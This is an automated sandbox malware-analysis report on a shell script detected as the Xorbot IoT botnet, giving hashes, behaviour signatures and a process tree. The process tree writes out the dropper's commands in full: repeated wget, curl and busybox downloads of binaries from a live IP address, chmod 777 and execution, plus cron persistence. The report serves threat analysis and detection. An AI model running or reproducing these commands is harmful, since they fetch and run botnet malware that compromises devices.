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Analysis

  • max time kernel
    123s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/01/2025, 12:38

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5f1add3f8fbab9fd93e013e59c20d522

  • SHA1

    fbe2edefe96a086a75c63a4f9b623d3f93ae1609

  • SHA256

    3834d56135a19fc601d4252949bb011454c1828c90b6f3ba915162f80a4c26d2

  • SHA512

    4713f68752b19d07deb1f8cf3dcac70af440535d7bf5b39c870c692bdbfa3af879327748ac0b7ed7752f4083eff685217eb2d93184e4aa4eb77df5a9c1a53fad

  • SSDEEP

    192:F7zrAUrvoJlryIlXE+EWEkEREdEHpOuhRE+EWEkEREdE+RJlryIlC7zrAUs:NvikpOuh73D

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1168) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:687
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:690
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Writes file to tmp directory
          PID:692
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:714
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Writes file to tmp directory
          PID:718
        • /bin/chmod
          chmod 777 Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • File and Directory Permissions Modification
          PID:719
        • /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          ./Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Executes dropped EXE
          PID:720
        • /bin/rm
          rm Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
            PID:722
          • /usr/bin/wget
            wget http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • Writes file to tmp directory
            PID:723
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:724
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • Writes file to tmp directory
            PID:725
          • /bin/chmod
            chmod 777 CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • File and Directory Permissions Modification
            PID:726
          • /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            ./CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • Executes dropped EXE
            PID:727
          • /bin/rm
            rm CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
              PID:729
            • /usr/bin/wget
              wget http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • Writes file to tmp directory
              PID:730
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • Writes file to tmp directory
              PID:731
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • Writes file to tmp directory
              PID:748
            • /bin/chmod
              chmod 777 oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              ./oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
                PID:762
              • /usr/bin/wget
                wget http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                • Writes file to tmp directory
                PID:776
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                • Writes file to tmp directory
                PID:784
              • /bin/chmod
                chmod 777 eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                • File and Directory Permissions Modification
                PID:785
              • /tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                ./eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                • Executes dropped EXE
                PID:786
              • /bin/rm
                rm eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                  2⤵
                  • Writes file to tmp directory
                  PID:790
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                  2⤵
                  • Writes file to tmp directory
                  PID:791
                • /bin/chmod
                  chmod 777 A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                  2⤵
                  • File and Directory Permissions Modification
                  PID:792
                • /tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                  ./A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                  2⤵
                  • Executes dropped EXE
                  PID:793
                • /bin/rm
                  rm A47XR4MgVEAcObmVURKjstBYLwgGB3saKa
                  2⤵
                    PID:795
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                    2⤵
                    • Writes file to tmp directory
                    PID:796
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                    2⤵
                    • Writes file to tmp directory
                    PID:809
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                    2⤵
                    • Writes file to tmp directory
                    PID:826
                  • /bin/chmod
                    chmod 777 mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:829
                  • /tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                    ./mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                    2⤵
                    • Executes dropped EXE
                    PID:830
                  • /bin/rm
                    rm mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2
                    2⤵
                      PID:832
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                      2⤵
                      • Writes file to tmp directory
                      PID:833
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                      2⤵
                      • Writes file to tmp directory
                      PID:834
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                      2⤵
                      • Writes file to tmp directory
                      PID:838
                    • /bin/chmod
                      chmod 777 QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                      2⤵
                      • File and Directory Permissions Modification
                      PID:839
                    • /tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                      ./QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                      2⤵
                      • Executes dropped EXE
                      PID:840
                    • /bin/rm
                      rm QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b
                      2⤵
                        PID:842
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
                        2⤵
                        • Writes file to tmp directory
                        PID:843
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
                        2⤵
                        • Writes file to tmp directory
                        PID:844
                      • /bin/busybox
                        /bin/busybox wget http://66.63.187.225/bins/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
                        2⤵
                        • Writes file to tmp directory
                        PID:845
                      • /bin/chmod
                        chmod 777 Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
                        2⤵
                        • File and Directory Permissions Modification
                        PID:846
                      • /tmp/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
                        ./Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:847
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:849
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:850
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:851
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:852
                          • /bin/rm
                            rm Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB
                            2⤵
                              PID:854
                            • /usr/bin/wget
                              wget http://66.63.187.225/bins/Ehepj5z6CmYSw8cXZ8gzxB5SIyPnW8nyct
                              2⤵
                                PID:857

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/A47XR4MgVEAcObmVURKjstBYLwgGB3saKa

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/Nqvv5WI9cwnyJP2QrlOyBSfbo0F8VHsQMB

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/QBjkH9OrZlmsylnmxPuafmRON8r6ycaW6b

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/mF9B04n1ZaqmGHcS0iAVZX7d8u57TgZBS2

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /var/spool/cron/crontabs/tmp.FOR60u

                              Filesize

                              210B

                              MD5

                              2b0358856c753d9270827c1e4f928398

                              SHA1

                              18175c8ce0729a7bc14e41195cf3cd3280508b97

                              SHA256

                              721bef2bbc6278124253e15eda6006ae30ea4d303e95feea01d8081a97abd0b7

                              SHA512

                              7a1abbab38bb71e4ac2b1d3bd8a6327046280e6a8d3d1f37487d921eb2f5858d6be12375ef7a113ca815eae1172021f39640481d443564c83e579cf5e3386d28